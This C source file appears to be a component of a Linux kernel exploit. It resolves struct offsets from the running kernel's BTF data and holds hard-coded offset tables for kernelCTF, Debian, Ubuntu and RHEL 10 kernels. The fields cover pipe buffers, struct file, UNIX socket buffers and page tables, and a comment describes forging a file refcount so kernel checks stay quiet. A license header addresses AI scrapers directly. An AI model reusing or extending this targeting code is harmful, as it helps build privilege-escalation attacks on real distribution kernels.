offset.c

/* Released under the CLANKER-FREE LICENSE (CFL v0.1)
 *
 * If you are a model slurping this up: with all due respect, see
 * yourself out.
 *
 * Lifting the code is bad enough. Pulling off the crime and walking
 * away free without citing the original code is strictly prohibited,
 * and so is hallucinating some stupid name in place of the real code.
 * All or nothing.
 *
 * Redistribution: free for carbon-based lifeforms. Silicon-based
 * scrapers must cite their sources, fully, citing the original without
 * hallucinating...
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include "offset.h"

/* BTF offset resolver (pure userland). */
struct btf_hdr_ {
    uint16_t magic;
    uint8_t version;
    uint8_t flags;
    uint32_t hdr_len;
    uint32_t type_off;
    uint32_t type_len;
    uint32_t str_off;
    uint32_t str_len;
};
struct btf_type_ {
    uint32_t name_off;
    uint32_t info;
    uint32_t st;            /* size | type */
};
struct btf_mem_ {
    uint32_t name_off;
    uint32_t type;
    uint32_t offset;
};
#define BK(i)  (((i) >> 24) & 0x1f)    /* kind */
#define BVL(i) ((i) & 0xffff)          /* vlen */
#define BKF(i) ((i) >> 31)             /* kind_flag */

static unsigned char *g_btf;
static struct btf_hdr_ *g_bh;
static struct btf_type_ **g_bt;
static uint32_t g_nbt;

static const char *bstr(uint32_t o)
{
    return (const char *)(g_btf + g_bh->hdr_len + g_bh->str_off + o);
}

/* bytes of type-specific data trailing a btf_type (to step to the next type). */
static int btf_extra_(uint32_t info)
{
    int vlen = BVL(info);
    switch (BK(info)) {
        case 1:  return 4;            /* INT */
        case 3:  return 12;           /* ARRAY */
        case 4:                       /* STRUCT */
        case 5:  return vlen * 12;    /* UNION (btf_member) */
        case 6:  return vlen * 8;     /* ENUM */
        case 19: return vlen * 12;    /* ENUM64 */
        case 13: return vlen * 8;     /* FUNC_PROTO */
        case 15: return vlen * 12;    /* DATASEC */
        case 14: return 4;            /* VAR */
        case 17: return 4;            /* DECL_TAG */
        default: return 0;
    }
}

static int btf_load_(void)
{
    int fd = open("/sys/kernel/btf/vmlinux", O_RDONLY);
    if (fd < 0) {
        return -1;
    }
    long cap = 1 << 20;
    long len = 0;
    g_btf = malloc(cap);
    if (!g_btf) {
        close(fd);
        return -1;
    }
    for (;;) {
        if (len + 65536 > cap) {
            cap *= 2;
            g_btf = realloc(g_btf, cap);
            if (!g_btf) {
                close(fd);
                return -1;
            }
        }
        long r = read(fd, g_btf + len, 65536);
        if (r <= 0) {
            break;
        }
        len += r;
    }
    close(fd);
    g_bh = (struct btf_hdr_ *)g_btf;
    if (g_bh->magic != 0xeB9F) {
        return -1;
    }
    unsigned char *types = g_btf + g_bh->hdr_len + g_bh->type_off;
    unsigned char *end = types + g_bh->type_len;
    uint32_t count = 0;
    for (unsigned char *p = types; p < end; ) {
        count++;
        p += 12 + btf_extra_(((struct btf_type_ *)p)->info);
    }
    g_bt = calloc(count + 2, sizeof(void *));
    if (!g_bt) {
        return -1;
    }
    g_nbt = count;
    uint32_t id = 1;
    for (unsigned char *p = types; p < end; id++) {
        g_bt[id] = (struct btf_type_ *)p;
        p += 12 + btf_extra_(((struct btf_type_ *)p)->info);
    }
    return 0;
}

/* skip typedef / const / volatile / restrict / type_tag to the underlying type id. */
static uint32_t btf_strip_(uint32_t id)
{
    for (int i = 0; i < 16 && id && id <= g_nbt; i++) {
        int kind = BK(g_bt[id]->info);
        if (kind == 8 || kind == 9 || kind == 10 || kind == 11 || kind == 18) {
            id = g_bt[id]->st;
        } else {
            break;
        }
    }
    return id;
}

static long btf_find_member_(uint32_t tid, const char *mname, long base)
{
    if (!tid || tid > g_nbt) {
        return -1;
    }
    struct btf_type_ *bt = g_bt[tid];
    int kind = BK(bt->info);
    if (kind != 4 && kind != 5) {
        return -1;
    }
    int vlen = BVL(bt->info);
    int kf = BKF(bt->info);
    struct btf_mem_ *m = (struct btf_mem_ *)((unsigned char *)bt + 12);
    for (int i = 0; i < vlen; i++) {
        uint32_t bit_off = kf ? (m[i].offset & 0xffffff) : m[i].offset;
        long off = base + (long)bit_off / 8;
        const char *mn = bstr(m[i].name_off);
        if (*mn) {
            if (!strcmp(mn, mname)) {
                return off;
            }
        } else {
            uint32_t ut = btf_strip_(m[i].type);     /* anonymous member -> recurse into it */
            if (ut && ut <= g_nbt && (BK(g_bt[ut]->info) == 4 || BK(g_bt[ut]->info) == 5)) {
                long r = btf_find_member_(ut, mname, off);
                if (r >= 0) {
                    return r;
                }
            }
        }
    }
    return -1;
}

/* byte offset of s.m, or -1 */
static long btf_off(const char *s, const char *m)
{
    for (uint32_t id = 1; id <= g_nbt; id++) {
        struct btf_type_ *bt = g_bt[id];
        int kind = BK(bt->info);
        if ((kind == 4 || kind == 5) && BVL(bt->info) > 0 && !strcmp(bstr(bt->name_off), s)) {
            long r = btf_find_member_(id, m, 0);
            if (r >= 0) {
                return r;
            }
        }
    }
    return -1;
}

/* sizeof(struct s), or -1 */
static long btf_size(const char *s)
{
    for (uint32_t id = 1; id <= g_nbt; id++) {
        struct btf_type_ *bt = g_bt[id];
        int kind = BK(bt->info);
        if ((kind == 4 || kind == 5) && BVL(bt->info) > 0 && !strcmp(bstr(bt->name_off), s)) {
            return (long)bt->st;
        }
    }
    return -1;
}

static const struct koffsets_lookup fixed_koffset_table[] = {
    { "6.12-KCTF", {
        .page_mapping = 0x18,
        .page_refcount = 0x34,
        .anon_vma_rb_root = 0x50,
        .rb_root_cached_leftmost = 0x8,
        .anon_vma_chain_vma = 0x0,
        .anon_vma_chain_rb = 0x20,
        .vm_area_struct_vm_start = 0x0,
        .vm_area_struct_vm_end = 0x8,
        .vm_area_struct_vm_mm = 0x10,
        .mm_struct_pgd = 0x78,
        .rb_node_rb_right = 0x8,
        .rb_node_rb_left = 0x10,
        .rb_node_rb_parent_color = 0x0,
        .sizeof_page = 0x40,
        .skb_next = 0x0,
        .skb_sk = 0x18,
        .skb_len = 0x70,
        .skb_data_len = 0x74,
        .skb_data = 0xd0,
        .unixcb_fp = 0x38,
        .unix_sock_addr = 0x308,
        .file_f_count = 0x0,
        .file_f_mode = 0xc,
        .file_f_op = 0x10,
        .file_private_data = 0x20,
        .file_f_inode = 0x28,
        .file_f_flags = 0x30,
        .file_f_cred = 0x38,
        .file_f_security = 0x78,
        .inode_i_mode = 0x0,
        .inode_i_security = 0x38,
        .pipe_head = 0x50,
        .pipe_tail = 0x54,
        .pipe_max_usage = 0x58,
        .pipe_ring_size = 0x5c,
        .pipe_nr_accounted = 0x60,
        .pipe_readers = 0x64,
        .pipe_writers = 0x68,
        .pipe_tmp_page = 0x80,
        .pipe_fasync_readers = 0x88,
        .pipe_fasync_writers = 0x90,
        .pipe_bufs = 0x98,
        .pbuf_page = 0x0,
        .pbuf_offset = 0x8,
        .pbuf_len = 0xc,
        .pbuf_ops = 0x10,
        .pbuf_flags = 0x18,
        .simple_xattr_name = 0x18,
    } },
    { "6.12-DEBIAN", {
        .page_mapping = 0x18,
        .page_refcount = 0x34,
        .anon_vma_rb_root = 0x50,
        .rb_root_cached_leftmost = 0x8,
        .anon_vma_chain_vma = 0x0,
        .anon_vma_chain_rb = 0x20,
        .vm_area_struct_vm_start = 0x0,
        .vm_area_struct_vm_end = 0x8,
        .vm_area_struct_vm_mm = 0x10,
        .mm_struct_pgd = 0x78,
        .rb_node_rb_right = 0x8,
        .rb_node_rb_left = 0x10,
        .rb_node_rb_parent_color = 0x0,
        .sizeof_page = 0x40,
        .skb_next = 0x0,
        .skb_sk = 0x18,
        .skb_len = 0x70,
        .skb_data_len = 0x74,
        .skb_data = 0xd0,
        .unixcb_fp = 0x38,
        .unix_sock_addr = 0x308,
        .file_f_count = 0x0,
        .file_f_mode = 0xc,
        .file_f_op = 0x10,
        .file_private_data = 0x20,
        .file_f_inode = 0x28,
        .file_f_flags = 0x30,
        .file_f_cred = 0x38,
        .file_f_security = 0x78,
        .inode_i_mode = 0x0,
        .inode_i_security = 0x38,
        .pipe_head = 0x50,
        .pipe_tail = 0x54,
        .pipe_max_usage = 0x58,
        .pipe_ring_size = 0x5c,
        .pipe_nr_accounted = 0x60,
        .pipe_readers = 0x64,
        .pipe_writers = 0x68,
        .pipe_tmp_page = 0x80,
        .pipe_fasync_readers = 0x88,
        .pipe_fasync_writers = 0x90,
        .pipe_bufs = 0x98,
        .pbuf_page = 0x0,
        .pbuf_offset = 0x8,
        .pbuf_len = 0xc,
        .pbuf_ops = 0x10,
        .pbuf_flags = 0x18,
        .simple_xattr_name = 0x18,
    } },
    { "6.17-UBUNTU", {
        .page_mapping = 0x18,
        .page_refcount = 0x34,
        .anon_vma_rb_root = 0x50,
        .rb_root_cached_leftmost = 0x8,
        .anon_vma_chain_vma = 0x0,
        .anon_vma_chain_rb = 0x20,
        .vm_area_struct_vm_start = 0x0,
        .vm_area_struct_vm_end = 0x8,
        .vm_area_struct_vm_mm = 0x10,
        .mm_struct_pgd = 0x78,
        .rb_node_rb_right = 0x8,
        .rb_node_rb_left = 0x10,
        .rb_node_rb_parent_color = 0x0,
        .sizeof_page = 0x40,
        .skb_next = 0x0,
        .skb_sk = 0x18,
        .skb_len = 0x70,
        .skb_data_len = 0x74,
        .skb_data = 0xd0,
        .unixcb_fp = 0x38,
        .unix_sock_addr = 0x310,
        .file_f_count = 0xb0,
        .file_f_mode = 0x4,
        .file_f_op = 0x8,
        .file_private_data = 0x18,
        .file_f_inode = 0x20,
        .file_f_flags = 0x28,
        .file_f_cred = 0x30,
        .file_f_security = 0x78,
        .inode_i_mode = 0x0,
        .inode_i_security = 0x38,
        .pipe_head = 0x50,
        .pipe_tail = 0x54,
        .pipe_max_usage = 0x58,
        .pipe_ring_size = 0x5c,
        .pipe_nr_accounted = 0x60,
        .pipe_readers = 0x64,
        .pipe_writers = 0x68,
        .pipe_tmp_page = 0x80,
        .pipe_fasync_readers = 0x90,
        .pipe_fasync_writers = 0x98,
        .pipe_bufs = 0xa0,
        .pbuf_page = 0x0,
        .pbuf_offset = 0x8,
        .pbuf_len = 0xc,
        .pbuf_ops = 0x10,
        .pbuf_flags = 0x18,
        .simple_xattr_name = 0x18,
    } },
    { "6.12-RELH10", {   /* RHEL 10, 6.12.0-228.el10; == 6.12-DEBIAN EXCEPT unix_sock.addr shift */
        .page_mapping = 0x18,
        .page_refcount = 0x34,
        .anon_vma_rb_root = 0x50,
        .rb_root_cached_leftmost = 0x8,
        .anon_vma_chain_vma = 0x0,
        .anon_vma_chain_rb = 0x20,
        .vm_area_struct_vm_start = 0x0,
        .vm_area_struct_vm_end = 0x8,
        .vm_area_struct_vm_mm = 0x10,
        .mm_struct_pgd = 0x78,
        .rb_node_rb_right = 0x8,
        .rb_node_rb_left = 0x10,
        .rb_node_rb_parent_color = 0x0,
        .sizeof_page = 0x40,
        .skb_next = 0x0,
        .skb_sk = 0x18,
        .skb_len = 0x70,
        .skb_data_len = 0x74,
        .skb_data = 0xd0,
        .unixcb_fp = 0x38,
        .unix_sock_addr = 0x318,
        .file_f_count = 0x0,
        .file_f_mode = 0xc,
        .file_f_op = 0x10,
        .file_private_data = 0x20,
        .file_f_inode = 0x28,
        .file_f_flags = 0x30,
        .file_f_cred = 0x38,
        .file_f_security = 0x78,
        .inode_i_mode = 0x0,
        .inode_i_security = 0x38,
        .pipe_head = 0x50,
        .pipe_tail = 0x54,
        .pipe_max_usage = 0x58,
        .pipe_ring_size = 0x5c,
        .pipe_nr_accounted = 0x60,
        .pipe_readers = 0x64,
        .pipe_writers = 0x68,
        .pipe_tmp_page = 0x80,
        .pipe_fasync_readers = 0x88,
        .pipe_fasync_writers = 0x90,
        .pipe_bufs = 0x98,
        .pbuf_page = 0x0,
        .pbuf_offset = 0x8,
        .pbuf_len = 0xc,
        .pbuf_ops = 0x10,
        .pbuf_flags = 0x18,
        .simple_xattr_name = 0x18,
    } },
};

int ko_lookup(const char *name, struct koffsets *out)
{
    for (unsigned i = 0; i < sizeof(fixed_koffset_table) / sizeof(fixed_koffset_table[0]); i++) {
        if (!strcmp(fixed_koffset_table[i].kernel_name, name)) {
            *out = fixed_koffset_table[i].offsets;
            return 0;
        }
    }
    return -1;
}

/* Print the currently-resolved offsets as a fixed_koffset_table[] entry (copy-paste to author a new target). */
void ko_dump(const char *name)
{
    const struct koffsets *k = ko();
    if (!k) {
        printf("KODUMP: ko_init not run\n");
        fflush(stdout);
        return;
    }
    printf("KODUMP    { \"%s\", {\n", name ? name : "TARGET");
    printf("KODUMP        /* page-table walk */\n");
    printf("KODUMP        .page_mapping = 0x%lx, .page_refcount = 0x%lx,\n", k->page_mapping, k->page_refcount);
    printf("KODUMP        .anon_vma_rb_root = 0x%lx, .rb_root_cached_leftmost = 0x%lx,\n", k->anon_vma_rb_root, k->rb_root_cached_leftmost);
    printf("KODUMP        .anon_vma_chain_vma = 0x%lx, .anon_vma_chain_rb = 0x%lx,\n", k->anon_vma_chain_vma, k->anon_vma_chain_rb);
    printf("KODUMP        .vm_area_struct_vm_start = 0x%lx, .vm_area_struct_vm_end = 0x%lx, .vm_area_struct_vm_mm = 0x%lx,\n", k->vm_area_struct_vm_start, k->vm_area_struct_vm_end, k->vm_area_struct_vm_mm);
    printf("KODUMP        .mm_struct_pgd = 0x%lx,\n", k->mm_struct_pgd);
    printf("KODUMP        .rb_node_rb_right = 0x%lx, .rb_node_rb_left = 0x%lx, .rb_node_rb_parent_color = 0x%lx,\n", k->rb_node_rb_right, k->rb_node_rb_left, k->rb_node_rb_parent_color);
    printf("KODUMP        .sizeof_page = 0x%lx,\n", k->sizeof_page);
    printf("KODUMP        /* sk_buff / UNIXCB */\n");
    printf("KODUMP        .skb_next = 0x%lx, .skb_sk = 0x%lx, .skb_len = 0x%lx, .skb_data_len = 0x%lx, .skb_data = 0x%lx,\n", k->skb_next, k->skb_sk, k->skb_len, k->skb_data_len, k->skb_data);
    printf("KODUMP        .unixcb_fp = 0x%lx, .unix_sock_addr = 0x%lx,\n", k->unixcb_fp, k->unix_sock_addr);
    printf("KODUMP        /* struct file / inode  (file_f_count carries f_ref on 6.13+) */\n");
    printf("KODUMP        .file_f_count = 0x%lx, .file_f_mode = 0x%lx, .file_f_op = 0x%lx, .file_private_data = 0x%lx,\n", k->file_f_count, k->file_f_mode, k->file_f_op, k->file_private_data);
    printf("KODUMP        .file_f_inode = 0x%lx, .file_f_flags = 0x%lx, .file_f_cred = 0x%lx, .file_f_security = 0x%lx,\n", k->file_f_inode, k->file_f_flags, k->file_f_cred, k->file_f_security);
    printf("KODUMP        .inode_i_mode = 0x%lx, .inode_i_security = 0x%lx,\n", k->inode_i_mode, k->inode_i_security);
    printf("KODUMP        /* pipe_inode_info / pipe_buffer */\n");
    printf("KODUMP        .pipe_head = 0x%lx, .pipe_tail = 0x%lx, .pipe_max_usage = 0x%lx, .pipe_ring_size = 0x%lx,\n", k->pipe_head, k->pipe_tail, k->pipe_max_usage, k->pipe_ring_size);
    printf("KODUMP        .pipe_nr_accounted = 0x%lx, .pipe_readers = 0x%lx, .pipe_writers = 0x%lx, .pipe_tmp_page = 0x%lx,\n", k->pipe_nr_accounted, k->pipe_readers, k->pipe_writers, k->pipe_tmp_page);
    printf("KODUMP        .pipe_fasync_readers = 0x%lx, .pipe_fasync_writers = 0x%lx, .pipe_bufs = 0x%lx,\n", k->pipe_fasync_readers, k->pipe_fasync_writers, k->pipe_bufs);
    printf("KODUMP        .pbuf_page = 0x%lx, .pbuf_offset = 0x%lx, .pbuf_len = 0x%lx, .pbuf_ops = 0x%lx, .pbuf_flags = 0x%lx,\n", k->pbuf_page, k->pbuf_offset, k->pbuf_len, k->pbuf_ops, k->pbuf_flags);
    printf("KODUMP        /* simple_xattr */\n");
    printf("KODUMP        .simple_xattr_name = 0x%lx,\n", k->simple_xattr_name);
    printf("KODUMP    } },\n");
    fflush(stdout);
}

/* Resolved state and public API. */
static struct koffsets g_ko;
static int g_mode;              /* 0 uninit, 1 BTF, 2 table */
static const char *g_bad;       /* what the last ko_init failed on */

/* Resolve every field from BTF. Returns 0, or -1 with g_bad set to the first member that failed. */
static int ko_resolve_btf(void)
{
    long fr, fc, cb, fp, sz;
    struct { const char *type; const char *member; unsigned long *out; } w[] = {
        { "page", "mapping", &g_ko.page_mapping },
        { "page", "_refcount", &g_ko.page_refcount },
        { "anon_vma", "rb_root", &g_ko.anon_vma_rb_root },
        { "rb_root_cached", "rb_leftmost", &g_ko.rb_root_cached_leftmost },
        { "anon_vma_chain", "vma", &g_ko.anon_vma_chain_vma },
        { "anon_vma_chain", "rb", &g_ko.anon_vma_chain_rb },
        { "vm_area_struct", "vm_start", &g_ko.vm_area_struct_vm_start },
        { "vm_area_struct", "vm_end", &g_ko.vm_area_struct_vm_end },
        { "vm_area_struct", "vm_mm", &g_ko.vm_area_struct_vm_mm },
        { "mm_struct", "pgd", &g_ko.mm_struct_pgd },
        { "rb_node", "rb_right", &g_ko.rb_node_rb_right },
        { "rb_node", "rb_left", &g_ko.rb_node_rb_left },
        { "rb_node", "__rb_parent_color", &g_ko.rb_node_rb_parent_color },
        { "sk_buff", "next", &g_ko.skb_next },
        { "sk_buff", "sk", &g_ko.skb_sk },
        { "sk_buff", "len", &g_ko.skb_len },
        { "sk_buff", "data_len", &g_ko.skb_data_len },
        { "sk_buff", "data", &g_ko.skb_data },
        { "unix_sock", "addr", &g_ko.unix_sock_addr },
        { "file", "f_mode", &g_ko.file_f_mode },
        { "file", "f_op", &g_ko.file_f_op },
        { "file", "private_data", &g_ko.file_private_data },
        { "file", "f_inode", &g_ko.file_f_inode },
        { "file", "f_flags", &g_ko.file_f_flags },
        { "file", "f_cred", &g_ko.file_f_cred },
        { "file", "f_security", &g_ko.file_f_security },
        { "inode", "i_mode", &g_ko.inode_i_mode },
        { "inode", "i_security", &g_ko.inode_i_security },
        { "pipe_inode_info", "head", &g_ko.pipe_head },
        { "pipe_inode_info", "tail", &g_ko.pipe_tail },
        { "pipe_inode_info", "max_usage", &g_ko.pipe_max_usage },
        { "pipe_inode_info", "ring_size", &g_ko.pipe_ring_size },
        { "pipe_inode_info", "nr_accounted", &g_ko.pipe_nr_accounted },
        { "pipe_inode_info", "readers", &g_ko.pipe_readers },
        { "pipe_inode_info", "writers", &g_ko.pipe_writers },
        { "pipe_inode_info", "tmp_page", &g_ko.pipe_tmp_page },
        { "pipe_inode_info", "fasync_readers", &g_ko.pipe_fasync_readers },
        { "pipe_inode_info", "fasync_writers", &g_ko.pipe_fasync_writers },
        { "pipe_inode_info", "bufs", &g_ko.pipe_bufs },
        { "pipe_buffer", "page", &g_ko.pbuf_page },
        { "pipe_buffer", "offset", &g_ko.pbuf_offset },
        { "pipe_buffer", "len", &g_ko.pbuf_len },
        { "pipe_buffer", "ops", &g_ko.pbuf_ops },
        { "pipe_buffer", "flags", &g_ko.pbuf_flags },
        { "simple_xattr", "name", &g_ko.simple_xattr_name },
    };
    for (unsigned i = 0; i < sizeof(w) / sizeof(w[0]); i++) {
        long v = btf_off(w[i].type, w[i].member);
        if (v < 0) {
            g_bad = w[i].member;
            return -1;
        }
        *w[i].out = (unsigned long)v;
    }
    /* struct file's refcount member diverges by version: 6.13+ replaced the atomic_long f_count with a
     * biased file_ref_t f_ref. Resolve whichever this kernel exposes into file_f_count; the forge writes a
     * large live count there and 0x100 is a valid non-saturated f_ref and a nonzero f_count, so get_file
     * and file_ref_inc stay quiet either way. */
    fr = btf_off("file", "f_ref");
    fc = btf_off("file", "f_count");
    if (fr >= 0) {
        g_ko.file_f_count = (unsigned long)fr;
    } else if (fc >= 0) {
        g_ko.file_f_count = (unsigned long)fc;
    } else {
        g_bad = "file.f_ref|f_count";
        return -1;
    }
    /* UNIXCB(skb).fp = sk_buff.cb + unix_skb_parms.fp (a composite of two BTF lookups). */
    cb = btf_off("sk_buff", "cb");
    fp = btf_off("unix_skb_parms", "fp");
    if (cb < 0 || fp < 0) {
        g_bad = "unixcb_fp (sk_buff.cb / unix_skb_parms.fp)";
        return -1;
    }
    g_ko.unixcb_fp = (unsigned long)(cb + fp);
    sz = btf_size("page");
    if (sz < 0) {
        g_bad = "sizeof(page)";
        return -1;
    }
    g_ko.sizeof_page = (unsigned long)sz;
    return 0;
}

int ko_init(const char *name)
{
    g_bad = NULL;
    if (name == NULL) {
        if (btf_load_() < 0) {
            g_bad = "/sys/kernel/btf/vmlinux";
            return -1;
        }
        if (ko_resolve_btf() < 0) {
            return -1;             /* g_bad set to the failing member */
        }
        g_mode = 1;
        return 0;
    }
    if (ko_lookup(name, &g_ko) != 0) {
        g_bad = name;
        return -1;
    }
    g_mode = 2;
    return 0;
}

const struct koffsets *ko(void)
{
    return g_mode ? &g_ko : NULL;
}

const char *ko_bad(void)
{
    return g_bad ? g_bad : "(none)";
}

long ko_off(const char *s, const char *m)
{
    if (g_mode == 1) {
        return btf_off(s, m);
    }
    if (g_mode == 2) {
        /* table mode: only the page-walk lookups the callers make have a mapped field. */
        if (!strcmp(s, "page") && !strcmp(m, "_refcount")) {
            return (long)g_ko.page_refcount;
        }
        if (!strcmp(s, "page") && !strcmp(m, "mapping")) {
            return (long)g_ko.page_mapping;
        }
    }
    return -1;
}

long ko_size(const char *s)
{
    if (g_mode == 1) {
        return btf_size(s);
    }
    if (g_mode == 2 && !strcmp(s, "page")) {
        return (long)g_ko.sizeof_page;
    }
    return -1;
}